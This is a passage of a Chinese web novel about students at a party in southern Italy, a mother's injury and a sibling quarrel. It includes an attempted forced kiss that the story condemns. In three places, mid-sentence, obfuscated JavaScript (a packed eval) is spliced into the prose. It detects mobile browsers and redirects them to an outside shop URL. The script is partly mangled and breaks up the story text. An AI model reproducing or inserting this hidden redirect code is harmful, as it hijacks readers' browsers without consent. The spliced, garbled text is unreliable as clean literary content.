不过话说回来,以何少蘅那种浑身带刺的性格,不管得罪了什么人,似乎也都算不上太奇怪。 夏薇长叹了口气,转身向屋里走去,打算拿上自己的东西,就赶去医院看看。 刚走出几步,背后传来“叮咚”一声,门铃又被人按响了。 已经这么晚了,还有谁会来呢? 这次一打开大门,少女马上发出“哇”的一声惊叫,全身像筛糠般瑟瑟发抖:“吓死我了!你……你是什么人?” 出现在她面前的,是一个魁梧健壮的意大利少年,只是他的脸却实在有些惊悚可怖。 这张脸上居然打了十几个大大小小的孔洞,洞里有的挂着闪亮的金环,有的钉着鲜艳的彩钉,有的露出几颗牙齿,看起来怪异绝伦。 “薇,你在害怕什么?”大笑声从脸上的每个孔洞发出来,像是漏气的风箱,“刚刚半个月没见,连我也不认得了吗?” “原来你是……”夏薇揉了揉眼睛,终于认出了自己的同班同学,“你竟然是罗西!” 罗西是T高中校长的儿子,也是夏薇班上的整容狂人。半个月前他请了假,据说要去城里的医院做整形手术,想不到再次见面时,他已经变成了这副模样,连朝夕相处的同学也差点认不得他了。 “一个,两个,三个……”在昏黄的门灯下,少女快速数着,“你的脸总共打了12个洞?!” “是不是酷毙了,”罗西得意的伸伸舌头,舌头就从右脸的洞里伸出来,“为了区分它们,我用十二星座加以命名。喏,吐舌头的是双鱼座,挂金环的是天蝎座……” 他如数家珍,手指在脸上的孔洞不断比划着。 “做这种手术很吓人吧?” “可不是吗,我全身的血液几乎快要流干了……”罗西享受着少女又惊又佩的目光,“不过为了艺术、为了美,这一切也算不上什么。” “你真是勇敢!”夏薇登时肃然起敬,“同学们都还在里面,看到你回来,一定会大吃一惊的……” 罗西的嘴角轻轻上扬,笑得更是得意。 他喜欢与众不同,喜欢新潮和时尚,更喜欢成为人群中万众瞩目的焦点。那种被人关注、被人崇拜的感觉,让他觉得自己是个了不起的英雄,就像他的祖先恺撒和奥古斯都那样。 正因为如此,今晚他才故意最后一个到来,只为了营造一种英雄出场般的戏剧效果——在大家面前大出风头,震惊所有人。 “接下来我还要在眼皮和舌头上打洞,然后申请吉尼斯世界纪录……”罗西发出豪迈的宣言,随手掩上了大门。 “加油,你一定会成功的!” 夏薇的鼓励让他心花怒放。从小学的时候起,他们就是同班同学,罗西对这个美丽的中国少女一直有一种朦胧的好感。 庭院寂寂,海风习习,夜色中浮动着不知名的花香,遥远的树梢上,传来夜莺婉转的吟唱。 他们在通往别墅的石阶上刚走到一半,忽然间听见“啪”的一声,别墅内外的灯火同时熄灭,四周变得一片漆黑。 原来那帮看恐怖片的人为了营造气氛,想要关掉灯光,可是却拉错了电闸,弄得里里外外的电全停了。 “该死!这里黑得像地狱……”罗西低声咒骂着。他差点在陡峭的石阶上绊了一跤,幸好及时握住夏薇的胳膊,才没有摔倒。 “如果你在黑暗中看不清路,那很可能是得了夜盲症,需要多吃胡萝卜……” “薇,你知道吗,我最近刚练习了一种绝技。”罗西对她的科普讲座全无兴趣,低声说道。 这寂静的夜,温柔的风,少女肌肤柔软的触感,和她身上隐约散发的香气,让他的心情忽然有些荡漾。 “绝技?什么绝技?” “别人亲吻的时候都是用嘴,我却能够用脸上的洞来亲吻……”罗西的声音更低,“这是一种很特别、也很有趣的体验,不是吗?” “这的确很有意思……”夏薇忍住想笑的冲动,没有觉察对方语气中的异样。 “既然如此,你一定不介意体验一下。”罗西将她的话误解为默许,手中突然用力,将毫无防备的少女拉向自己的怀抱。 “不,不,不要……”夏薇终于明白发生了什么,在他的手臂中疯狂挣扎起来。 “女孩子说‘不要’时,实际意思就是‘要’,这个道理我清楚得很。” 金环在黑暗中丁当作响,罗西的脸像巨大的黑云向她压下来。 一面狂叫挣扎,夏薇本能的又想打出咏春拳,但眼前的少年实在太魁梧,太强壮,两条铁一般的手臂紧紧环绕着她,早就令她无法反抗。 “不,不,走开!走开!”快要哭了似的声音,也渐渐越来越无力。 突然之间,夏薇身上的压力减轻,压迫在眼前的黑云消失不见。 不知怎么回事,罗西魁梧的身躯竟离地而起,向后飞了出去,落地的时候,正好坐在庭院里一盆带刺的仙人掌上。 “哗啦”一声,花盆摔成粉碎。罗西感到臀部一阵剧痛,发出长声惨叫,凄厉的声音远远传到了海面上。 恰在这时,仿佛戏剧人物登场似的,别墅内外的灯光又“啪”的一声,同时点亮了。 罗西忍着痛楚,抬手挡住突如其来的灯光,这才看见面前已多了一个人。 这人的脸虽然隐在阴影里,但他身上那件金灿灿的中国龙袍却是那么醒目,简直滑稽可笑。 哪个马戏团里的小丑逃出来了吗?——这是罗西的第一反应。 但他很快就修正了自己的想法。 因为刚才那阵骚动和搏斗,已经惊动了别墅里的人,同学们纷纷从窗户里伸头张望,就看到罗西龇牙咧嘴的躺在地上,屁股底下是那盆四分五裂的仙人掌。 他本来想做英雄,结果自己却成了一个小丑! “嗨——罗西,你也来了!”派对主人恩佐出现在窗口,笑着招呼,“还有何少蘅、夏薇,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923738|192677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们在外面闹什么呢?” “这条石阶太陡、太黑,罗西进来时不小心摔了一跤……”何少蘅一伸手就拉起了罗西,还帮他拍拍身上的尘土,“下次他一定会注意一些,对么?” 等到围观的人群全部散去了,罗西和夏薇仍然像两只呆头鹅一样站着,呆呆的瞪着何少蘅。 他们睁得大大的眼睛里,都冒着无数问号。 “原来你就是那个新来的同学……”罗西打量着长身玉立的中国少年,“刚才把我推倒的人也是你?” 他的眼中充满了愤怒和惊讶,实在想象不出,这个文质彬彬的少年,怎会有如此惊人的力量。 “不,没有人推倒你,”何少蘅纠正道,“我只是把你打得飞了出去。” “你……你凭什么打人?”罗西恼怒得双拳紧握。 “要是你听不懂意大利语,让我来翻译一下,”何少蘅淡然回应,“这位小姐明明叫你‘走开’,你却不肯走,那么别人只好帮你代劳了。” 罗西更用力的握紧了拳头,脸上一阵红,一阵白。 他的本性并不坏,对于自己一时冲动的行为,本来也有些后悔,更何况当着全班同学面前,何少蘅并没有揭穿事情的真相,算是为他保全了颜面。 “薇,对不起!刚才我失去了控制,请你原谅我野蛮无礼的举止。” 这个在海边长大的意大利少年,的确有一种大海般的胸襟和气度,这一番不卑不亢的道歉,使得夏薇也不禁佩服他,当然马上就原谅了他。 “每个人都有失去控制的时候,你肯定也一样,”罗西的目光与何少蘅对视着,“我期待着看到那一幕,因为那一定会相当的精彩……” 说完这句话,他就迈上石阶,向敞着大门的别墅快步走去。 何少蘅看着他的身影消失在石阶尽头,脸上还是一点表情都没有。 今晚姗姗来迟的中国少年,一刻钟前刚走进黑暗的庭院,第一眼看到的,竟然就是罗西想要强吻夏薇的画面。 那时的他,的确感到一种前所未有的愤怒,甚至还有疯狂的嫉妒,感觉就像一件自己私藏的珍宝正被人夺走。 在不受控制的情绪驱使下,他对罗西出手的力道也难免失去了分寸。 但在所有人面前,他却把这种愤怒和嫉妒控制得很好,或者说,掩饰得无比完美。 因为他从小接受的教育和训练,就是要控制自己,绝不容许有一点超出常规的情感和念头。 一切都在控制中、在计划中、在正常的轨道中……许多年来,这样的生活早已让他习惯并安心。 直到最近,陌生的国度,全新的环境,让他产生了一些自己也想象不到的变化,他似乎与过去的自己已有些不同—— 他的内心深处隐约感到了羡慕,羡慕这些意大利人像空气一样自由的生活,还有那种波涛汹涌、无拘无束的性格。 他羡慕他们想笑的时候就笑,想爱的时候就爱,有什么话就说,有什么情感就释放出来…… 将来有一天,他也能像他们一样洒脱而自由吗? “喂,何少蘅,”忽然响起的脆生生的声音,差点把他吓了一跳,“为什么你会出现在这里?” 夏薇的眼睛在黑夜里闪闪发亮,像是大海上的星星。 “你认为我应该在哪里?”少年反问。 “我……我以为你今晚不来参加派对了……”夏薇的嘴角噙着笑意。她心里充满了一种甜美的快乐,却不明白这快乐从何而来。 “答应了别人的事,我一定做到,从来不会食言。” “你既然来到了这里,那个被朱塞佩打成重伤、送进医院的中国人又是谁呢?” “是我的父亲,”何少蘅假装没有看到少女惊讶的神色,接着道,“这件事以后再说。现在我快要饿死了,希望那帮人还没把派对上的东西吃光……” 8. 英雄 “伟大的中国美食!” 何少蘅和夏薇走进别墅的时候,正赶上派对最精彩的节目开场。 节目的主角当然是罗西,脸上打了12个洞的罗西。他在众目睽睽下,将一根打结的绳子从左边脸洞穿进去,又从右边脸洞穿出来,然后用灵巧的手指在上面翻花绳。极富创意的表演赢得了同学们雷鸣般的掌声和喝彩。 受到了鼓舞的罗西再接再厉,紧接着表演起下一个节目。只见他拎起酒瓶,一仰脖子,咕嘟嘟的灌进半瓶葡萄酒,再猛然一低头,紫红色液体就从各个脸洞哗哗的喷射出来,使他看起来像一个坏掉的淋浴喷头。 这滑稽而壮观的场面点燃了派对,所有人都乐不可支,一些人甚至大笑着在沙发上打滚。 “好样的,罗西!”夏薇忘记了先前的风波,也为他高声欢呼,并且笑出了眼泪。 何少蘅站在一旁,暗中翻了无数个白眼。 在他的潜意识里,已经把罗西当成了自己的“情敌”,越看对方越不顺眼。 他实在不明白,这种幼稚无聊的把戏有什么好笑,还有这个叫罗西的家伙,也只不过是爱出风头、哗众取宠罢了。 至于他自己,正好是另一种完全相反的性格。他一向喜欢置身于热闹的人群之外,远离众人的目光,因为那样一来,他才能够自由的沉浸在自己的世界里。 接下来他的遭遇似乎印证了一句老话——越是害怕什么,越是要来什么。 “咦,何少蘅,”恩佐好像忽然发现了新大陆,饶有兴趣的打量着他,“今晚你的打扮真是不错,看起来很有中国风味……” 被他这么一说,其他人的注意力也被吸引了,纷纷起哄: “真的呢,我在电影里见过,那是一件只属于中国皇帝的龙袍。” “这太有个性了!” “让一让,我要和‘秦始皇’拍照合影……” 好奇的同学们都抛下罗西,向何少蘅这边涌过来,转眼间已经里三层、外三层,把他围得水泄不通,仿佛当场活捉了一个大明星。 大家排起长队,拿着手机,拍下自己和冒牌“中国皇帝”的照片,然后激动的发布到自己的社交账号上。 人性就是如此,一旦发现更新鲜有趣的事,马上就会把旧的忘掉,哪怕那件旧事物刚刚带给他们无上的快乐。 刚才还备受拥戴的罗西,现在一个人被晾在旁边,更显得冷冷清清、凄凄惨惨。 被人冷落、被人忽视的滋味,是这个骄傲的男生最受不了的,更何况抢走他风头的不是别人,而是何少蘅——刚刚把他打得惨败的何少蘅! 这个不知从哪里冒出来的中国少年,难道注定要成为他的克星吗? 罗西暗中翻了无数个白眼。 他实在不明白,拍那些无聊的合影有什么意思,还有这个叫何少蘅的家伙,也只不过是爱出风头、哗众取宠罢了。 忽然之间,罗西眼前一亮,计上心头。 今晚他想要反败为胜,也许只剩下最后一个机会…… 何少蘅好不容易摆脱了“合影道具”的命运,刚来得及喘一口气,哪里想得到,自己又成了别人算计的对象。 罗西皮笑肉不笑的向他走过来,大声说道:“何,今晚每个同学都从家里带来了食物,跟大家一起分享,想必你也不例外吧。” 他的目光正盯着何少蘅拎在手中的那只纸袋。 “是啊,里面装着什么好吃的?我们快要饿死了!” 这帮战斗力惊人的年轻人,早就把派对上的食物消灭了十之八/九,这时一发现新的补给,一个个都蜂拥过来,一双双眼睛像饿狼般发出光芒。 何少蘅不声不响,将纸袋内的东西拿出来,摆在餐桌上。 透明的塑料盒子间隔成一个个小格,里面端坐着十几枚椭圆形物体,看起来像是鸭蛋,但颜色却是一种奇怪的灰绿色。 “这是什么?用来做复活节彩蛋的吗?”同学们纷纷围观,都感到十分好奇。 罗西抢先打开盒盖,动作麻利的剥去蛋壳,就露出了一颗乌黑发亮的蛋。 他用刀叉切开那怪蛋,勇敢的将鼻子凑过去,刚闻了闻,整张脸马上皱了起来,露出一副嫌恶的表情。 一股无以名状、令人难忘的气味,就像是——几天没洗的臭袜子! “救命!我中了毒气——”罗西翻着白眼,发出夸张的惨呼,只差没有口吐白沫了。 奇异而浓烈的臭味很快在空气中飘散开来,大家皱起了眉头,捂住了鼻子,忙不迭从餐桌前退避三舍。 这盒怪蛋仿佛即将引爆的手榴弹似的,把所有人都吓得不轻。 “何少蘅,这就是你款待大家的美食吗?”罗西张牙舞爪,厉声质问。 “对,这是我从家乡带来的,”何少蘅不慌不忙解释道,“在你们的文艺复兴时期,中国已发明了松花……” “中国的美食在全世界那么出名,怎么会有这种又黑又臭的鸭蛋?”罗西大声打断了他,“我看你一定是故意的!” 受到了煽动的同学们群情汹汹,发出愤怒的叱责: “天啊!这看起来真的很恶心!” “何,你这个可恶的猪头!” “你在逗我们吗?蠢货……” 短短片刻间,中国少年已被赶下神坛,成了众矢之的,人人喊打。 “爱吃就吃,不吃拉倒,”何少蘅的神情也变了,又变得像冰川一样冷,“这个派对我本来就不想参加,是你们非要多此一举。” 这个心高气傲的少年,懒得再为自己辩解,看也不看其他人一眼,转身往门口走去。 他的言语,他的举动,无疑是在众人烧得正旺的怒火上又添了一把干柴。 “嘿,你戏弄了我们,这就想一走了之吗?” “真是个无礼的家伙!” “太过分了,你必须向所有人道歉!” “我们不是傻瓜,任由你欺负……” 以意大利南部人彪悍的民风,蛮勇冲动的血性,这件事的确超出了他们忍耐的限度。 他们决定要为自己的荣誉而战! 大家叫嚣着、怒吼着,有的追到门口,有的奔向餐桌,抄起那盒罪魁祸首的鸭蛋,打算用来猛砸这目中无人的少年,接着再把他暴揍一顿。 眼看这场派对即将以大规模“群殴”收场,罗西也不禁傻了眼。 他本来只想小小教训一下何少蘅,没想到事态的演变已经超出自己的预计,想要阻止愤怒的同学们,却已无力回天了。 忽然之间,四周安静下来。怒吼的人张大了嘴巴,追赶的人停下了脚步。 他们都目瞪口呆,定定的注视着一幕奇景。 众目睽睽下,只见夏薇手中举着叉子,正把那颗黑乎乎、臭烘烘的怪蛋塞进自己嘴里。 她微闭着眼睛,徐徐咀嚼片刻,眼角就沁出了一滴晶莹的泪珠。 这少女竟然哭了起来?! “薇——”忠诚的弗洛伦蒂娜挤出人群,一个箭步冲过来,摇晃着好友的身体,“你会食物中毒的!你觉得哪里不舒服吗?” “好香啊,好香……”夏薇意犹未尽的咂了咂嘴,“我已经很久没有这样的口福了。” 她脸上一副感动的神情,仿佛又快要哭了似的。 “你觉得很香?”弗洛伦蒂娜惊奇得两眼圆瞪,“你的脑子毒坏了吧?大家明明闻到,这颗蛋臭得要命……” “这个你就不懂了,”夏薇悠然笑了笑,“中国的美食博大精深,奇妙无比。一种食物外表越丑,味道就越好;闻起来越臭,吃起来就越香。” 周围的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923739|192677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人你看看我,我看看你,满脸疑惑不解的神色。 这些意大利同学能听懂她的话吗?没有人知道。 事实上,夏薇自己也听不懂自己的话。 不过她最大的本事,就是能在所有人面前,口若悬河的说一些自己也听不懂的事情: “在中国,松花蛋是一种最上等、最尊贵的美食,甚至进入了米其林餐厅。它透明的色泽像琥珀,Q弹的外层像果冻,软糯的内层又像芝士奶酪……” 天马行空的解说告一段落,夏薇切开另一颗松花蛋,递到半信半疑的弗洛伦蒂娜面前。 刚开始嚼了几口,弗洛伦蒂娜还有些皱眉;但没过多久,她的脸上就露出心旷神怡、飘飘欲仙的微笑。 “圣母玛利亚啊,我太喜欢这个了!”弗洛伦蒂娜大声宣布,并且迫不及待的又切了一块。 周围的人忍不住狂吞口水,于是陆陆续续的凑过来,品尝这神奇的中国美食。 他们的味蕾很快就被征服了。 “噢!这是我吃过的最好吃的东西,以后我再也吃不到了怎么办……” “等一等,别那么快抢光了,我还没拍照发到Facebook呢。” “伟大的何!伟大的中国美食!” “所以说,你们实在是冤枉了何少蘅,”夏薇走进人群,故意长叹了口气,“难怪他那么生气,气得要一走了之……” 幸好何少蘅还没有真的走掉。 刚才他一直在门口,静静的看着夏薇表演,嘴角始终带着一丝若有若无的浅笑,使他脸上冷峻的线条也变得有几分温柔了。 “在这陌生的异国,只有她一个人对我好,”敏感的少年在心中对自己说,“其他所有的人都只会排挤我。” 很快他就发现自己错了。 从四面八方伸来的热情的手臂,把他拉回了同学之中。 “何,我们误解了你!你实在是我们的好朋友!” 打动了朋友的胃,也就打动了他们的心——无论在什么时代、什么国家,这似乎都是一条颠扑不破的真理。 这些淳朴率直的意大利年轻人,当他们冲动时,比任何人都冲动,当他们热情时,也比任何人都热情。 激动的人群欢呼着,把他们的中国朋友簇拥起来,像是簇拥着一个旷世的英雄。 人群外,罗西默默的看着这一幕,憋了一肚子闷气。 看到自己暗恋的少女维护另一个男生,他心里更不知是什么滋味。 他只知道,自己败了,败得十分彻底—— 今晚派对上的“英雄”注定不是他,而是何少蘅! 同学们意犹未尽,一个接一个扑过来,无比真挚的拥抱着何少蘅,一些女生更是抓住这个揩油的机会,拥抱得比任何人都卖力。 在这个意大利人为主的班级里,当然有许多美丽而性感的女生。但何少蘅抱着她们时,感觉却只不过像抱住了一节树干。 他惊讶的觉察到,自己心中居然有一种模糊而隐秘的憧憬,一直在憧憬那个黑眼睛的中国女孩。 他想象着握住她纤弱的手,将她天鹅般柔美的身躯拥入怀中,让那蔷薇般的娇靥紧贴着自己的脸…… 这一幕想象中的画面,让他的心狂乱的跳动起来,像是栅栏里的野马。 所有的人都已散去。 想象中的一幕并没有变为真实。 探寻的目光搜索着人群中的每个角落,可是哪里也找不到夏薇的影子。 “你的朋友呢?”何少蘅走向弗洛伦蒂娜,尽量让自己的声音听起来若无其事。 “夏薇吗,她刚走不久。” “走了?” “十分钟前她接到一个电话,脸色似乎有些变了,然后就匆匆离开,这时候应该回到家了吧……” 9. 秋千 弗洛伦蒂娜只说对了一半。 一接完电话,夏薇的确马上离开了派对,只不过她没有回到自己家,而是火速赶往镇上的医院。 已是深夜。一排高大的地中海松像执勤的哨兵,静穆的把守着医院大门,茂密的枝叶间洒下了碎水晶般的月光。 长长的走廊寂静无人,少女匆忙的脚步却不是这里唯一的声响。 “老话说得好,人要是倒霉起来,喝凉水,塞牙缝;放屁,砸脚后跟……”从虚掩的病房门内,传来一个响亮的男子声音,“谁能想得到,在自己家里也能摔成骨折呢?” 推开房门,看见病床上依然清醒的母亲,夏薇一路上悬着的心总算放下了一些。 “妈,你摔倒受伤了?严不严重?” 在打了急救中心电话、被送进急诊室后,经过仔细的检查,母亲受伤的脚踝已被固定设备包扎起来,等候白天去往城里的医院进行手术。 “机器用久了会生锈,人老了也是一样,骨头总会变得脆弱些,”仿佛为了安慰女儿,夏母苍白的脸上露出一丝微弱的笑容,“你爸就喜欢大惊小怪,大晚上的,何必让你赶过来……” “好好的在家里,怎么会摔成这样?” “你还好意思问呢,”男人不顾妻子劝阻的目光,在旁边冷笑道,“这都要怪你养的那条宝贝金鱼……” “跟你说过多少次了,”夏薇大声纠正,“‘小星星’才不是什么金鱼,它的学名叫凤尾鱼!” 因为夏母对动物毛过敏,他们一家从来与猫猫狗狗等宠物无缘。去年有一次到海边游泳时,夏薇偶然发现了一条被海浪卷上沙滩的凤尾鱼,鱼尾美丽的斑纹有如满天繁星。兴奋的少女将它带回家,养在一只装饰着珊瑚和卵石的玻璃鱼缸中,并且取名叫“小星星”。 “这种海里捞上来的鱼,一开始就不该养在家里,”男人发出马后炮式的指责,“都是因为它跳出鱼缸,你妈半夜起来上洗手间,正好踩到滑了一跤……” “什么,”夏薇失声惊呼,“我的鱼怎会无缘无故跳出来?难道它已经……” “事情发生的时候,它在地上也不知躺了多久,”夏母叹了口气,看着眼眶发红的女儿,“大多数动物的生命都比人短暂,你不要太伤心了。” “伤心个屁!现在受伤的是你妈妈,”男人两手叉腰,厉声呵斥道,“养育你的家人,难道还不如一条死鱼重要吗?这孩子真是没有良心……” 自从上次在家大吵一架后,男人和夏薇之间的关系就变得更僵了,任何一点小小过错,在他口中总能被借题发挥,成为十恶不赦的罪孽。 夏薇强压着怒火,嘴巴像岩石上的牡蛎壳一样,闭得紧紧的。 出于多方面的考虑,最近她改变了战略,尽量避免与男人正面交锋——向来只有狗咬人,人难道能反过来咬狗吗? 一家人的说话声,惊动了医院里值夜班的护士。 “为什么你们还留在这里?”护士小姐伸头进来,“把病人交给我们,等到城里做完手术,可以出院时会通知家人来接,请放心……” 意大利公立医院的治疗、护理乃至一日三餐,全部对公民免费,看病过程也没有排队挂号、交钱等繁琐手续,病人完全可以一个人呆在医院,不需要家人陪同。 夏薇满心不愿意跟男人同路回家,因此坚持留下来陪伴母亲,一直等到白天,把她送上了去城里的医疗车。 这个时候,秋天白晃晃的太阳已经高悬在头顶,时间将近中午了。 “你们华裔家庭真是重视亲情……”从医院走出来时,护士小姐微笑道。 “唔,谢谢夸奖。”由于整夜没睡,夏薇忍不住打了个呵欠。 “镇上的中国人一向不多,但昨晚就有两个同时住了进来,”护士小姐的表情居然有些开心,“这一天可以载入我们医院的历史了!” “另外那个姓何的中国人,听说他受伤很严重,是吗?”与何少蘅有关的一切事情,夏薇都十分好奇,何况他父亲被打这件事实在蹊跷。 “第一天搬来镇上,就遇到这种事,这人也真够倒霉的,”护士小姐叹了口气,“还有那个被警方通缉的朱塞佩,以前还是我家的对门邻居呢。看上去斯文有礼的男孩子,没想到动起手来这样狠……” “是酒后打人?还是他们之间有什么仇恨?” “大家也都在乱猜,”护士小姐眨了眨眼睛,一脸神秘兮兮的样子,“不过听很多人说,是为了女人。” “为了女人?”夏薇惊讶起来。 “你要是见过那中国男人,就会知道这并不奇怪,”护士小姐眼中仿佛冒出了星星,“他的模样是那么俊,简直像个漂亮的魔鬼……” 医院的护士们堪比报社和私家侦探,一向掌握着镇上最新的小道消息。夏薇带着一颗得到了满足的八卦之心,向家的方向走去。 从医院回家,有一条横穿小镇的捷径可走。沿着上上下下、古朴幽深的石头台阶,小路两旁是静谧的居民住宅,围墙上装饰着彩色陶瓷砌成的门牌号,极具意大利南部风情。 家家户户的阳台上,有的开满鲜花,有的晾晒着洁净的衣物,恬静而温馨的家庭气息,不禁让少女沉醉。 在自己的家里,她似乎就从来没有享受过这种感觉。 现在,家里没有了母亲,就好像汤里没有放盐,更让人索然无味。她之所以回家,不是因为那地方让她眷恋,而是因为想不出其他地方可去,另外一个原因就是,想回到自己的床上补个觉罢了。 夏薇没有料到,一走进家门,就看到了一幕惊心动魄的画面。 院子里,一个八/九岁大的黑头发男孩,正坐在一只轮胎做成的秋千上,忽前忽后的晃荡着。 男孩是夏薇的弟弟,平时在城里的寄宿学校上学,只有周末才回家。虽然是华人后裔,却起了个朗朗上口的意大利名字叫“托托”,他的中文名字反而没人记得了。 秋千荡得更高、更快,但夏薇却清楚的看见,托托拿在手中的那件东西—— 一根烤肉用的竹签子上,串着一条已经僵硬的凤尾鱼,正是她惨死的宠物“小星星”! 托托举着死鱼,仿佛举着一件战利品似的,口中念念有词:“布鲁诺——你犯下了大罪,被判今天中午进入烤箱,执行火刑……” 四百年前的科学家布鲁诺,是出生在意大利南部最有名的人物之一,这一带的儿童从小就熟知他被火刑烧死的悲壮故事。 “那是我的鱼,不是布鲁诺,”少女又惊又怒,向弟弟冲了过去,“把它给我!” “不,不给!”男孩在秋千上踢着两条腿,作为自己的防御武器。 这种踢腿的动作,让秋千获得了更多的加速度,只见它猛力一荡,在空中画出一条危险的抛物线。 荡到最高点时,托托突然向前一扑,像只灵巧的猴子似的,跳到了院子外一棵大树上。 那是一棵枝叶繁茂、身姿修长的梧桐树,足足有三层楼那么高。 “死小孩!”夏薇又气又急,抬头瞪着那逃之夭夭的顽童,“快点下来,你会摔断骨头的!” “摔伤了最好,以后我就不用上学了……”托托坐在一条伸出的大树枝上,两腿在半空一晃一晃的,炫耀似的大笑着,“这上面风景真不错,薇,要不要上来一起玩?” 这个顽劣的男孩在家从不叫她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923740|192677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “姐姐”,总是直呼其名。 夏薇卷起袖子,手脚并用,抱住大树向上攀爬。可是那笔直的树干就像光溜溜的标枪一般,她爬上去还不到两米,就滑了下来,试了多少次都是如此。 束手无策的少女擦着汗水,气喘吁吁,累得瘫坐在地下。 爬树这种事情,毕竟不是女生的强项。 不能力敌,夏薇就想到了也许能以智慧取胜。 “你不可能在上面躲一辈子,”她站起来,向树上喊着,“快到中午了,你总会肚子饿,总要下来吃饭……” “这难不倒我,”托托举了举手中的竹签子,“听说鱼肉是可以生吃的,日本人就经常这么干。” 托托故意咧开嘴巴,露着牙齿,做出一副食人魔似的恶毒表情。他知道这条鱼是姐姐的宝贝,看到别人被他折磨,他越发得意和开心了。 夏薇气得几乎要昏过去,却拿他没有一点办法。 被一个八/九岁的小孩欺负成这样,真可说是她一生的奇耻大辱。 她想到自己惨死的鱼儿,心中更是又哀伤、又酸楚,一双美丽的眼睛早已红了,眼眶里噙满泪水,下一秒就要哭出来。 正在这时候,一只手忽然从背后伸过来,轻轻搭在她的肩膀上。 “我的朋友,什么事不开心了?” 夏薇霍然转过身,就看到了一个长身玉立、剑眉星目的中国少年。 何少蘅! 为什么他会来到她的家里呢? “我的宠物鱼被抢走了,”夏薇用手背揉了揉眼睛,通红的双眼望向高处,“可是我怎么也够不到那个淘气鬼。” “这很简单,”少年用温和的语气安慰着她,“他怎么上去,你就用同样的方法上去。” “你的意思是说……” “站到秋千上,我在后面推你上树。” “这……”少女心中有些发虚,迟疑着问,“这真的可行吗?” “我说可以,就一定可以,”何少蘅答道,“你难道不相信我?” 他的声音那么平静,神色也是泰然自若的,仿佛山岳一般,给人一种安然而稳定的力量。 夏薇看了他一眼,没有再说话,小心翼翼的爬上了秋千。 “嗖”的一声,她被推向半空,悠悠的落下来,又荡到高处…… 风声在耳边呼呼作响,院子里碧绿的草地、洁白的栅栏在脚下飞一般掠过。 等到秋千荡得足够高、速度足够快时,何少蘅突然从她身后跳了上来。 轮胎做的秋千上,地方本来不大,站着两个人就更显拥挤。夏薇发觉自己倚在少年温暖的怀中,从他身上散发出的一种很特别的清香,犹如阳光下的木叶,从四面八方裹住了她。 她满脸都泛起绯红,想要避开一些,又担心失足跌落,只能向后靠紧了他的胸膛。 何少蘅软玉温香在怀,心中也是怦然跳动,只盼秋千一直这么荡下去,最好永远不要停下来。 但秋千却像他的心跳一样,速度越来越快,越来越疯狂,终于失去了控制。 眼看要迎面撞上大树,何少蘅左手揽住夏薇的腰,向前纵身一跃。两人像断了线的风筝,又像腾云驾雾一般,轻飘飘的飞了出去。 少年在半空中腰身一扭,右手向上探去,握住一根粗如儿臂的树枝,身形荡了个优美的弧线,正好落在托托旁边。 两个少年男女从半空落下来,产生的重力令巨大的梧桐树也一阵震颤。 托托早就惊得呆住了,这时树枝剧烈起伏几下,他更是两腿发软,坐也坐不稳了,竟从树梢翻身跌落。 在他下方,正对着庭院栅栏锋利的尖刺! 10. 秘密 “救命,救命呀——”托托骇然尖叫起来。 突然之间,他背上一紧,快速下落的趋势停止了。 “吓死我了!快……快把我拉上去……”死里逃生的男孩全身发着抖,连声催促。 “刚才好像有人说过,他不怕摔下去?”何少蘅一只手抓住他后背的衣裳,将他横着拎在空中,却不拉回树上。 “摔下去我会死的!”托托的四肢抽筋般乱舞着,像是一种怪异的游泳姿势,“你没有看到吗,那下面全是尖刺……” 何少蘅的手指微微一松,男孩的身子又往下落了几英寸。 木栅栏的尖刺像怪兽锋利的獠牙,就在他的眼睛下面,仿佛随时要把他整个人刺穿。托托惊恐得叫也叫不出声,眼泪和鼻涕一起流了出来。 “你不想被栅栏刺穿,对吗?”何少蘅的声音像冰一样冷,“那你有没有想过,这条鱼也是一样,不想被竹签子刺穿。” “呜呜呜……我知道错了……” “你错了?” “我不该把鱼捞出来,不该把它捏死,然后扔在地上,害得妈妈滑倒……”托托号啕大哭,呜咽着招供了自己的一切罪行。 “小混蛋!”夏薇气得只能骂出这三个字。 “看不出你小小年纪,居然干了这么多坏事,将来长大了不是更可怕?”何少蘅冷冷说道。 “我……我想活到长大,”托托哭得声音嘶哑,只剩下断断续续的抽泣,“求求你,求求你不要松手……” “你能保证下次不再这样?” “我发誓!我发誓再也不敢了……” “好,你是个男子汉,相信你一定会遵守今天的誓言。” 何少蘅用力一拉,把他拉了上来,受尽折磨的男孩立刻软瘫在树枝上。 “回家再跟你算账!”夏薇轻轻踢了弟弟一脚。 但是,他们三个要怎样才能回家呢? 